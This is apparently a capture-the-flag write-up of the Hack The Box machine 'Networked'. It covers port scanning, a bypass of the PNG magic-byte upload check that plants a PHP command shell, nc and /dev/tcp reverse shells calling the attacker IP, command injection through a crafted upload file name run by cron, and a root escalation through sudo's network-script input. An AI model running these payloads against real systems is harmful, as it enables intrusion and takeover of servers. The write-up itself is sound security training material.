Published on

HTB Networked

Authors

Networked

Enumeration

nmap find all ports

nmap -p- -Pn <ip> -o full-enumerate.nmap

└─$ nmap -p- -Pn $IP -o full-enumerate.nmap         
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 15:57 EDT
Nmap scan report for 10.10.10.146
Host is up (0.024s latency).
Not shown: 65380 filtered tcp ports (no-response), 152 filtered tcp ports (host-unreach)
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 146.48 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap

└─$ nmap -p 22,80,443 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 16:09 EDT
Nmap scan report for 10.10.10.146
Host is up (0.034s latency).

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-headers: 
|   Date: Sun, 20 Aug 2023 20:09:43 GMT
|   Server: Apache/2.4.6 (CentOS) PHP/5.4.16
|   X-Powered-By: PHP/5.4.16
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap

Port Enumeration

**Port 80

  • wfuzz started
    • http://10.10.10.146/backup/ backup.tar here gonna check it out
      • extracts index.php, lib.php, photos.php, and upload.php

      • upload.php seems to be a web page as well and we can upload .jpg, .png, .gif, and .jpeg as seen by the source code

        Untitled

MIME

  • lib.php is used inside of upload.php, and lib.php has some sort of MIME functionality.

    Untitled

  • This calls file_mime_type() and rejects the file if it is not an image. So I can nano test.png and even though .png is allowed, it will not be accepted.


Exploitation

**********Port 80

Foothold

Bypass MIME

  1. To bypass MIME upload to the web server, we can use xxd into a .png file to make sure the server reads it as an image, since MIME is verifying that.

    1. echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > test.png

      Untitled

  2. Now we can try uploading this file and see that it actually works

    1. Compared to doing just a normal test.png it doesn’t work but exporting the first 16 Hexadecimal of a PNG bypasses it

    2. https://en.wikipedia.org/wiki/List_of_file_signatures

      Untitled

  3. Create an exploit we can just do a cmd php

    1. nano shell.php.png

      <?php
      system($_REQUEST['cmd']);
      ?>
      
  4. It only reads the first . extension uploaded

  5. Create a mime image

    1. echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime.php.png
  6. Put our actual shell file into the mime file

    1. cat shell.php.png >> mime.php.png

      Untitled

    Could’ve just copied it in but we’re fancy

  7. Upload mime.php.png

    Untitled

  8. http://10.10.10.146/photos.php/ shows our image(s) there and actually renames it to our IP as per uploads.php's code

    Untitled

  9. /uploads directory is /var/www/html/uploads as defined as well in uploads.php

    Untitled

  10. http://10.10.10.146/uploads/10_10_16_4.php.png?cmd=whoami is RCE confirmed

Untitled

RCE to shell

  1. URL encoded reverse shell with nc (my favorite one)

    Untitled

  2. Paste it in after ?cmd=

    1. http://10.10.10.146/uploads/10_10_16_4.php.png?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.4%209001%20%3E%2Ftmp%2Ff

      Untitled

Interesting enough it actually puts us in /var/www/html/uploads which is the exact directory we called the reverse shell from, which is cool

Untitled

apache → guly

  1. cd /home shows a user guly and I do not have permission to read user.txt
  2. cd /tmpcurl -O http://<tun0>/linpeas.sh & pspy32 cuz wget not installed
    1. chmod +x linpeas.sh./linpeas.sh
    2. nothing in either that stands out aside from kernel exploits so I’m pretty sure it’s gonna be the files in the home directory
  3. check_attack.php in home directory which contains some interesting stuff that seems to go to the uploads directory on the web app
  • check_attack.php

    bash-4.2$ cat check_attack.php 
    <?php
    require '/var/www/html/lib.php';
    $path = '/var/www/html/uploads/';
    $logpath = '/tmp/attack.log';
    $to = 'guly';
    $msg= '';
    $headers = "X-Mailer: check_attack.php\r\n";
    
    $files = array();
    $files = preg_grep('/^([^.])/', scandir($path));
    
    foreach ($files as $key => $value) {
    	$msg='';
      if ($value == 'index.html') {
    	continue;
      }
      #echo "-------------\n";
    
      #print "check: $value\n";
      list ($name,$ext) = getnameCheck($value);
      $check = check_ip($name,$value);
    
      if (!($check[0])) {
        echo "attack!\n";
        # todo: attach file
        file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
    
        exec("rm -f $logpath");
        exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
        echo "rm -f $path$value\n";
        mail($to, $msg, $msg, $headers, "-F$value");
      }
    }
    
    ?>
    
  1. One line stands out to me, which looks like some sort of command execution?
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
  1. If I can control the pathandpath and value variables then I can probably do some sort of execution. Usually you want to pass base64 here since it is local and that is how we can talk over a shell
  2. First create a reverse shell with base64 encoded locally with /dev/tcp
    1. echo -n 'bash -c "bash -i >/dev/tcp/10.10.16.4/9002 0>&1"' | base64

      bash-4.2$ echo -n 'bash -c "bash -i >/dev/tcp/10.10.16.4/9002 0>&1"' | base64
      
      YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTYuNC85MDAyIDA+JjEi
      
    2. Here is our base64 string, which we can use to get a callback

    3. echo YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTYuNC85MDAyIDA+JjEi | base64 -d | sh

    4. Which gives us a shell, but as apache, so it kinda works so far

      Untitled

  3. Utilize /var/www/html/uploads with this base64 string to actually set the $value variable which should run it, but as guly
    1. touch '/var/www/html/uploads/a; echo YmFzaCAtYyAiYmFzaCAtaSA+L2Rldi90Y3AvMTAuMTAuMTYuNC85MDAyIDA+JjEi | base64 -d | sh

    2. With this we are just basically creating a blank file in /var/www/html/uploads called a and passing the shell (echo ...) as the $value variable, so after a few minutes the cron should execute to our listener on 9002

      Untitled

Root

guly → root

  1. sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
  1. sudo /usr/local/sbin/changename.sh

    Untitled

  2. cat /usr/local/sbin/changename.sh

  • changename.sh

    [guly@networked sbin]$ cat changename.sh 
    #!/bin/bash -p
    cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
    DEVICE=guly0
    ONBOOT=no
    NM_CONTROLLED=no
    EoF
    
    regexp="^[a-zA-Z0-9_\ /-]+$"
    
    for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
    	echo "interface $var:"
    	read x
    	while [[ ! $x =~ $regexp ]]; do
    		echo "wrong input, try again"
    		echo "interface $var:"
    		read x
    	done
    	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
    done
      
    /sbin/ifup guly0
    [guly@networked sbin]$
    
  1. Looks like changename.sh is writing to /etc/sysconfig/network-scripts/ifcfg-guly
  2. cat /etc/sysconfig/network-scripts/ifcfg-guly
[guly@networked sbin]$ cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=1
PROXY_METHOD=2
BROWSER_ONLY=3
BOOTPROTO=4
  1. It read our 1, 2, 3, and 4 as input
  2. I started giving it random input, and it was saying command not found, but specifically with what I FIRST name it as, like I did asd and some other random stuff and it shows asd: command not found
[guly@networked sbin]$ sudo /usr/local/sbin/changename.sh
interface NAME:
0asd3
interface PROXY_METHOD:
asdl asd asd 
interface BROWSER_ONLY:
ok 
interface BOOTPROTO:
asdj
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: asd: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: asd: command not found
ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
  1. Logically if it is looking for a command, earlier we made an a file so we can call that and try
  2. sudo /usr/local/sbin/changename.sh then started giving it a bunch of things I would do if I was root, and a su root seemed to of given me root
[guly@networked sbin]$ sudo /usr/local/sbin/changename.sh
interface NAME:
a whoami
interface PROXY_METHOD:
a pwd
interface BROWSER_ONLY:
a su root
interface BOOTPROTO:
id
root
/etc/sysconfig/network-scripts
[root@networked network-scripts]# whoami
root
[root@networked network-scripts]#

Useful resource links

Lessons Learned